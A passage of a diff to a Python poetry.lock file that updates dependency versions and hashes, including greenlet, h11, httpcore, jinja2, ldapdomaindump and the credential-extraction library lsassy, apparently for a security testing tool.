"sha256:3b2813dc3de8c1ee3f924e4d4227999285fd335d1bcc0d2be6dc3f1f6a318ec1"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e347b3bfcf985a05e8c0b7d462ba6f15b1ee1c909e2dcad795e49e91b152c383"}, - {file = "greenlet-3.1.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9e8f8c9cb53cdac7ba9793c276acd90168f416b9ce36799b9b885790f8ad6c0a"}, - {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:62ee94988d6b4722ce0028644418d93a52429e977d742ca2ccbe1c4f4a792511"}, - {file = "greenlet-3.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1776fd7f989fc6b8d8c8cb8da1f6b82c5814957264d1f6cf818d475ec2bf6395"}, - {file = "greenlet-3.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:48ca08c771c268a768087b408658e216133aecd835c0ded47ce955381105ba39"}, - {file = "greenlet-3.1.1-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:4afe7ea89de619adc868e087b4d2359282058479d7cfb94970adf4b55284574d"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f406b22b7c9a9b4f8aa9d2ab13d6ae0ac3e85c9a809bd590ad53fed2bf70dc79"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c3a701fe5a9695b238503ce5bbe8218e03c3bcccf7e204e455e7462d770268aa"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2846930c65b47d70b9d178e89c7e1a69c95c1f68ea5aa0a58646b7a96df12441"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99cfaa2110534e2cf3ba31a7abcac9d328d1d9f1b95beede58294a60348fba36"}, - {file = "greenlet-3.1.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1443279c19fca463fc33e65ef2a935a5b09bb90f978beab37729e1c3c6c25fe9"}, - {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b7cede291382a78f7bb5f04a529cb18e068dd29e0fb27376074b6d0317bf4dd0"}, - {file = "greenlet-3.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:23f20bb60ae298d7d8656c6ec6db134bca379ecefadb0b19ce6f19d1f232a942"}, - {file = "greenlet-3.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:7124e16b4c55d417577c2077be379514321916d5790fa287c9ed6f23bd2ffd01"}, - {file = "greenlet-3.1.1-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:05175c27cb459dcfc05d026c4232f9de8913ed006d42713cb8a5137bd49375f1"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:935e943ec47c4afab8965954bf49bfa639c05d4ccf9ef6e924188f762145c0ff"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:667a9706c970cb552ede35aee17339a18e8f2a87a51fba2ed39ceeeb1004798a"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8a678974d1f3aa55f6cc34dc480169d58f2e6d8958895d68845fa4ab566509e"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efc0f674aa41b92da8c49e0346318c6075d734994c3c4e4430b1c3f853e498e4"}, - {file = "greenlet-3.1.1-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0153404a4bb921f0ff1abeb5ce8a5131da56b953eda6e14b88dc6bbc04d2049e"}, - {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:275f72decf9932639c1c6dd1013a1bc266438eb32710016a1c742df5da6e60a1"}, - {file = "greenlet-3.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:c4aab7f6381f38a4b42f269057aee279ab0fc7bf2e929e3d4abfae97b682a12c"}, - {file = "greenlet-3.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:b42703b1cf69f2aa1df7d1030b9d77d3e584a70755674d60e710f0af570f3761"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f1695e76146579f8c06c1509c7ce4dfe0706f49c6831a817ac04eebb2fd02011"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7876452af029456b3f3549b696bb36a06db7c90747740c5302f74a9e9fa14b13"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4ead44c85f8ab905852d3de8d86f6f8baf77109f9da589cb4fa142bd3b57b475"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8320f64b777d00dd7ccdade271eaf0cad6636343293a25074cc5566160e4de7b"}, - {file = "greenlet-3.1.1-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6510bf84a6b643dabba74d3049ead221257603a253d0a9873f55f6a59a65f822"}, - {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:04b013dc07c96f83134b1e99888e7a79979f1a247e2a9f59697fa14b5862ed01"}, - {file = "greenlet-3.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:411f015496fec93c1c8cd4e5238da364e1da7a124bcb293f085bf2860c32c6f6"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:47da355d8687fd65240c364c90a31569a133b7b60de111c255ef5b606f2ae291"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98884ecf2ffb7d7fe6bd517e8eb99d31ff7855a840fa6d0d63cd07c037f6a981"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f1d4aeb8891338e60d1ab6127af1fe45def5259def8094b9c7e34690c8858803"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db32b5348615a04b82240cc67983cb315309e88d444a288934ee6ceaebcad6cc"}, - {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dcc62f31eae24de7f8dce72134c8651c58000d3b1868e01392baea7c32c247de"}, - {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1d3755bcb2e02de341c55b4fca7a745a24a9e7212ac953f6b3a48d117d7257aa"}, - {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:b8da394b34370874b4572676f36acabac172602abf054cbc4ac910219f3340af"}, - {file = "greenlet-3.1.1-cp37-cp37m-win32.whl", hash = "sha256:a0dfc6c143b519113354e780a50381508139b07d2177cb6ad6a08278ec655798"}, - {file = "greenlet-3.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:54558ea205654b50c438029505def3834e80f0869a70fb15b871c29b4575ddef"}, - {file = "greenlet-3.1.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:346bed03fe47414091be4ad44786d1bd8bef0c3fcad6ed3dee074a032ab408a9"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfc59d69fc48664bc693842bd57acfdd490acafda1ab52c7836e3fc75c90a111"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d21e10da6ec19b457b82636209cbe2331ff4306b54d06fa04b7c138ba18c8a81"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:37b9de5a96111fc15418819ab4c4432e4f3c2ede61e660b1e33971eba26ef9ba"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ef9ea3f137e5711f0dbe5f9263e8c009b7069d8a1acea822bd5e9dae0ae49c8"}, - {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85f3ff71e2e60bd4b4932a043fbbe0f499e263c628390b285cb599154a3b03b1"}, - {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:95ffcf719966dd7c453f908e208e14cde192e09fde6c7186c8f1896ef778d8cd"}, - {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:03a088b9de532cbfe2ba2034b2b85e82df37874681e8c470d6fb2f8c04d7e4b7"}, - {file = "greenlet-3.1.1-cp38-cp38-win32.whl", hash = "sha256:8b8b36671f10ba80e159378df9c4f15c14098c4fd73a36b9ad715f057272fbef"}, - {file = "greenlet-3.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:7017b2be767b9d43cc31416aba48aab0d2309ee31b4dbf10a1d38fb7972bdf9d"}, - {file = "greenlet-3.1.1-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:396979749bd95f018296af156201d6211240e7a23090f50a8d5d18c370084dc3"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9d0ff5ad43e785350894d97e13633a66e2b50000e8a183a50a88d834752d42"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f6ff3b14f2df4c41660a7dec01045a045653998784bf8cfcb5a525bdffffbc8f"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94ebba31df2aa506d7b14866fed00ac141a867e63143fe5bca82a8e503b36437"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73aaad12ac0ff500f62cebed98d8789198ea0e6f233421059fa68a5aa7220145"}, - {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63e4844797b975b9af3a3fb8f7866ff08775f5426925e1e0bbcfe7932059a12c"}, - {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7939aa3ca7d2a1593596e7ac6d59391ff30281ef280d8632fa03d81f7c5f955e"}, - {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d0028e725ee18175c6e422797c407874da24381ce0690d6b9396c204c7f7276e"}, - {file = "greenlet-3.1.1-cp39-cp39-win32.whl", hash = "sha256:5e06afd14cbaf9e00899fae69b24a32f2196c19de08fcb9f4779dd4f004e5e7c"}, - {file = "greenlet-3.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:3319aa75e0e0639bc15ff54ca327e8dc7a6fe404003496e3c6925cd3142e0e22"}, - {file = "greenlet-3.1.1.tar.gz", hash = "sha256:4ce3ac6cdb6adf7946475d7ef31777c26d94bccc377e070a7986bd2d5c515467"}, +markers = "platform_machine == \"aarch64\" or platform_machine == \"ppc64le\" or platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"win32\" or platform_machine == \"WIN32\"" +files = [ + {file = "greenlet-3.3.2-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:9bc885b89709d901859cf95179ec9f6bb67a3d2bb1f0e88456461bd4b7f8fd0d"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b568183cf65b94919be4438dc28416b234b678c608cafac8874dfeeb2a9bbe13"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:527fec58dc9f90efd594b9b700662ed3fb2493c2122067ac9c740d98080a620e"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:508c7f01f1791fbc8e011bd508f6794cb95397fdb198a46cb6635eb5b78d85a7"}, + {file = "greenlet-3.3.2-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ad0c8917dd42a819fe77e6bdfcb84e3379c0de956469301d9fd36427a1ca501f"}, + {file = "greenlet-3.3.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:97245cc10e5515dbc8c3104b2928f7f02b6813002770cfaffaf9a6e0fc2b94ef"}, + {file = "greenlet-3.3.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8c1fdd7d1b309ff0da81d60a9688a8bd044ac4e18b250320a96fc68d31c209ca"}, + {file = "greenlet-3.3.2-cp310-cp310-win_amd64.whl", hash = "sha256:5d0e35379f93a6d0222de929a25ab47b5eb35b5ef4721c2b9cbcc4036129ff1f"}, + {file = "greenlet-3.3.2-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:c56692189a7d1c7606cb794be0a8381470d95c57ce5be03fb3d0ef57c7853b86"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1ebd458fa8285960f382841da585e02201b53a5ec2bac6b156fc623b5ce4499f"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a443358b33c4ec7b05b79a7c8b466f5d275025e750298be7340f8fc63dff2a55"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4375a58e49522698d3e70cc0b801c19433021b5c37686f7ce9c65b0d5c8677d2"}, + {file = "greenlet-3.3.2-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e2cd90d413acbf5e77ae41e5d3c9b3ac1d011a756d7284d7f3f2b806bbd6358"}, + {file = "greenlet-3.3.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:442b6057453c8cb29b4fb36a2ac689382fc71112273726e2423f7f17dc73bf99"}, + {file = "greenlet-3.3.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:45abe8eb6339518180d5a7fa47fa01945414d7cca5ecb745346fc6a87d2750be"}, + {file = "greenlet-3.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e692b2dae4cc7077cbb11b47d258533b48c8fde69a33d0d8a82e2fe8d8531d5"}, + {file = "greenlet-3.3.2-cp311-cp311-win_arm64.whl", hash = "sha256:02b0a8682aecd4d3c6c18edf52bc8e51eacdd75c8eac52a790a210b06aa295fd"}, + {file = "greenlet-3.3.2-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:ac8d61d4343b799d1e526db579833d72f23759c71e07181c2d2944e429eb09cd"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3ceec72030dae6ac0c8ed7591b96b70410a8be370b6a477b1dbc072856ad02bd"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a2a5be83a45ce6188c045bcc44b0ee037d6a518978de9a5d97438548b953a1ac"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ae9e21c84035c490506c17002f5c8ab25f980205c3e61ddb3a2a2a2e6c411fcb"}, + {file = "greenlet-3.3.2-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43e99d1749147ac21dde49b99c9abffcbc1e2d55c67501465ef0930d6e78e070"}, + {file = "greenlet-3.3.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4c956a19350e2c37f2c48b336a3afb4bff120b36076d9d7fb68cb44e05d95b79"}, + {file = "greenlet-3.3.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6c6f8ba97d17a1e7d664151284cb3315fc5f8353e75221ed4324f84eb162b395"}, + {file = "greenlet-3.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:34308836d8370bddadb41f5a7ce96879b72e2fdfb4e87729330c6ab52376409f"}, + {file = "greenlet-3.3.2-cp312-cp312-win_arm64.whl", hash = "sha256:d3a62fa76a32b462a97198e4c9e99afb9ab375115e74e9a83ce180e7a496f643"}, + {file = "greenlet-3.3.2-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:aa6ac98bdfd716a749b84d4034486863fd81c3abde9aa3cf8eff9127981a4ae4"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ab0c7e7901a00bc0a7284907273dc165b32e0d109a6713babd04471327ff7986"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d248d8c23c67d2291ffd47af766e2a3aa9fa1c6703155c099feb11f526c63a92"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ccd21bb86944ca9be6d967cf7691e658e43417782bce90b5d2faeda0ff78a7dd"}, + {file = "greenlet-3.3.2-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b6997d360a4e6a4e936c0f9625b1c20416b8a0ea18a8e19cabbefc712e7397ab"}, + {file = "greenlet-3.3.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:64970c33a50551c7c50491671265d8954046cb6e8e2999aacdd60e439b70418a"}, + {file = "greenlet-3.3.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1a9172f5bf6bd88e6ba5a84e0a68afeac9dc7b6b412b245dd64f52d83c81e55b"}, + {file = "greenlet-3.3.2-cp313-cp313-win_amd64.whl", hash = "sha256:a7945dd0eab63ded0a48e4dcade82939783c172290a7903ebde9e184333ca124"}, + {file = "greenlet-3.3.2-cp313-cp313-win_arm64.whl", hash = "sha256:394ead29063ee3515b4e775216cb756b2e3b4a7e55ae8fd884f17fa579e6b327"}, + {file = "greenlet-3.3.2-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:8d1658d7291f9859beed69a776c10822a0a799bc4bfe1bd4272bb60e62507dab"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:18cb1b7337bca281915b3c5d5ae19f4e76d35e1df80f4ad3c1a7be91fadf1082"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c2e47408e8ce1c6f1ceea0dffcdf6ebb85cc09e55c7af407c99f1112016e45e9"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e3cb43ce200f59483eb82949bf1835a99cf43d7571e900d7c8d5c62cdf25d2f9"}, + {file = "greenlet-3.3.2-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63d10328839d1973e5ba35e98cccbca71b232b14051fd957b6f8b6e8e80d0506"}, + {file = "greenlet-3.3.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8e4ab3cfb02993c8cc248ea73d7dae6cec0253e9afa311c9b37e603ca9fad2ce"}, + {file = "greenlet-3.3.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:94ad81f0fd3c0c0681a018a976e5c2bd2ca2d9d94895f23e7bb1af4e8af4e2d5"}, + {file = "greenlet-3.3.2-cp314-cp314-win_amd64.whl", hash = "sha256:8c4dd0f3997cf2512f7601563cc90dfb8957c0cff1e3a1b23991d4ea1776c492"}, + {file = "greenlet-3.3.2-cp314-cp314-win_arm64.whl", hash = "sha256:cd6f9e2bbd46321ba3bbb4c8a15794d32960e3b0ae2cc4d49a1a53d314805d71"}, + {file = "greenlet-3.3.2-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:e26e72bec7ab387ac80caa7496e0f908ff954f31065b0ffc1f8ecb1338b11b54"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b466dff7a4ffda6ca975979bab80bdadde979e29fc947ac3be4451428d8b0e4"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b8bddc5b73c9720bea487b3bffdb1840fe4e3656fba3bd40aa1489e9f37877ff"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:59b3e2c40f6706b05a9cd299c836c6aa2378cabe25d021acd80f13abf81181cf"}, + {file = "greenlet-3.3.2-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b26b0f4428b871a751968285a1ac9648944cea09807177ac639b030bddebcea4"}, + {file = "greenlet-3.3.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:1fb39a11ee2e4d94be9a76671482be9398560955c9e568550de0224e41104727"}, + {file = "greenlet-3.3.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:20154044d9085151bc309e7689d6f7ba10027f8f5a8c0676ad398b951913d89e"}, + {file = "greenlet-3.3.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c04c5e06ec3e022cbfe2cd4a846e1d4e50087444f875ff6d2c2ad8445495cf1a"}, + {file = "greenlet-3.3.2.tar.gz", hash = "sha256:2eaf067fc6d886931c7962e8c6bede15d2f01965560f3359b27c80bde2d151f2"}, ] [package.extras] docs = ["Sphinx", "furo"] -test = ["objgraph", "psutil"] +test = ["objgraph", "psutil", "setuptools"] [[package]] name = "h11" -version = "0.14.0" +version = "0.16.0" description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, - {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, + {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, + {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, ] [[package]] name = "httpcore" -version = "1.0.8" +version = "1.0.9" description = "A minimal low-level HTTP client." optional = false python-versions = ">=3.8" groups = ["main"] files = [ - {file = "httpcore-1.0.8-py3-none-any.whl", hash = "sha256:5254cf149bcb5f75e9d1b2b9f729ea4a4b883d1ad7379fc632b727cec23674be"}, - {file = "httpcore-1.0.8.tar.gz", hash = "sha256:86e94505ed24ea06514883fd44d2bc02d90e77e7979c8eb71b90f41d364a1bad"}, + {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, + {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, ] [package.dependencies] certifi = "*" -h11 = ">=0.13,<0.15" +h11 = ">=0.16" [package.extras] asyncio = ["anyio (>=4.0,<5.0)"] @@ -978,14 +1074,14 @@ zstd = ["zstandard (>=0.18.0)"] [[package]] name = "idna" -version = "3.10" +version = "3.11" description = "Internationalized Domain Names in Applications (IDNA)" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, - {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, + {file = "idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea"}, + {file = "idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902"}, ] [package.extras] @@ -1021,14 +1117,26 @@ resolved_reference = "2c77435e4fe3f11fb07e13daf182e82aa83b149e" [[package]] name = "iniconfig" -version = "2.0.0" +version = "2.3.0" description = "brain-dead simple config-ini parsing" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, - {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, + {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, + {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, +] + +[[package]] +name = "invoke" +version = "2.2.1" +description = "Pythonic task execution" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "invoke-2.2.1-py3-none-any.whl", hash = "sha256:2413bc441b376e5cd3f55bb5d364f973ad8bdd7bf87e53c79de3c11bf3feecc8"}, + {file = "invoke-2.2.1.tar.gz", hash = "sha256:515bf49b4a48932b79b024590348da22f39c4942dff991ad1fb8b8baea1be707"}, ] [[package]] @@ -1045,14 +1153,14 @@ files = [ [[package]] name = "jinja2" -version = "3.1.5" +version = "3.1.6" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "jinja2-3.1.5-py3-none-any.whl", hash = "sha256:aba0f4dc9ed8013c424088f68a5c226f7d6097ed89b246d7749c2ec4175c6adb"}, - {file = "jinja2-3.1.5.tar.gz", hash = "sha256:8fefff8dc3034e27bb80d67c671eb8a9bc424c0ef4c0826edbff304cceff43bb"}, + {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, + {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, ] [package.dependencies] @@ -1063,18 +1171,23 @@ i18n = ["Babel (>=2.7)"] [[package]] name = "jwt" -version = "1.3.1" +version = "1.4.0" description = "JSON Web Token library for Python 3." optional = false -python-versions = ">= 3.6" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "jwt-1.3.1-py3-none-any.whl", hash = "sha256:61c9170f92e736b530655e75374681d4fcca9cfa8763ab42be57353b2b203494"}, + {file = "jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11"}, + {file = "jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952"}, ] [package.dependencies] cryptography = ">=3.1,<3.4.0 || >3.4.0" +[package.extras] +dev = ["black", "isort", "mypy", "types-freezegun"] +test = ["freezegun", "pytest (>=6.0,<7.0)", "pytest-cov"] + [[package]] name = "ldap3" version = "2.9.1" @@ -1092,186 +1205,189 @@ pyasn1 = ">=0.4.6" [[package]] name = "ldapdomaindump" -version = "0.9.4" +version = "0.10.0" description = "Active Directory information dumper via LDAP" optional = false -python-versions = "*" +python-versions = ">=3.6" groups = ["main"] files = [ - {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, - {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, - {file = "ldapdomaindump-0.9.4.tar.gz", hash = "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52"}, + {file = "ldapdomaindump-0.10.0-py3-none-any.whl", hash = "sha256:3797259596df7a5e1fda98388c96b1d94196f5da5551f1af1aaeedda0c9f5a11"}, + {file = "ldapdomaindump-0.10.0.tar.gz", hash = "sha256:cbc66b32a7787473ffd169c5319acde46c02fdc9d444556e6448e0def91d3299"}, ] [package.dependencies] dnspython = "*" -future = "*" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] name = "lsassy" -version = "3.1.13" +version = "3.1.15" description = "Python library to extract credentials from lsass remotely" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "lsassy-3.1.13-py3-none-any.whl", hash = 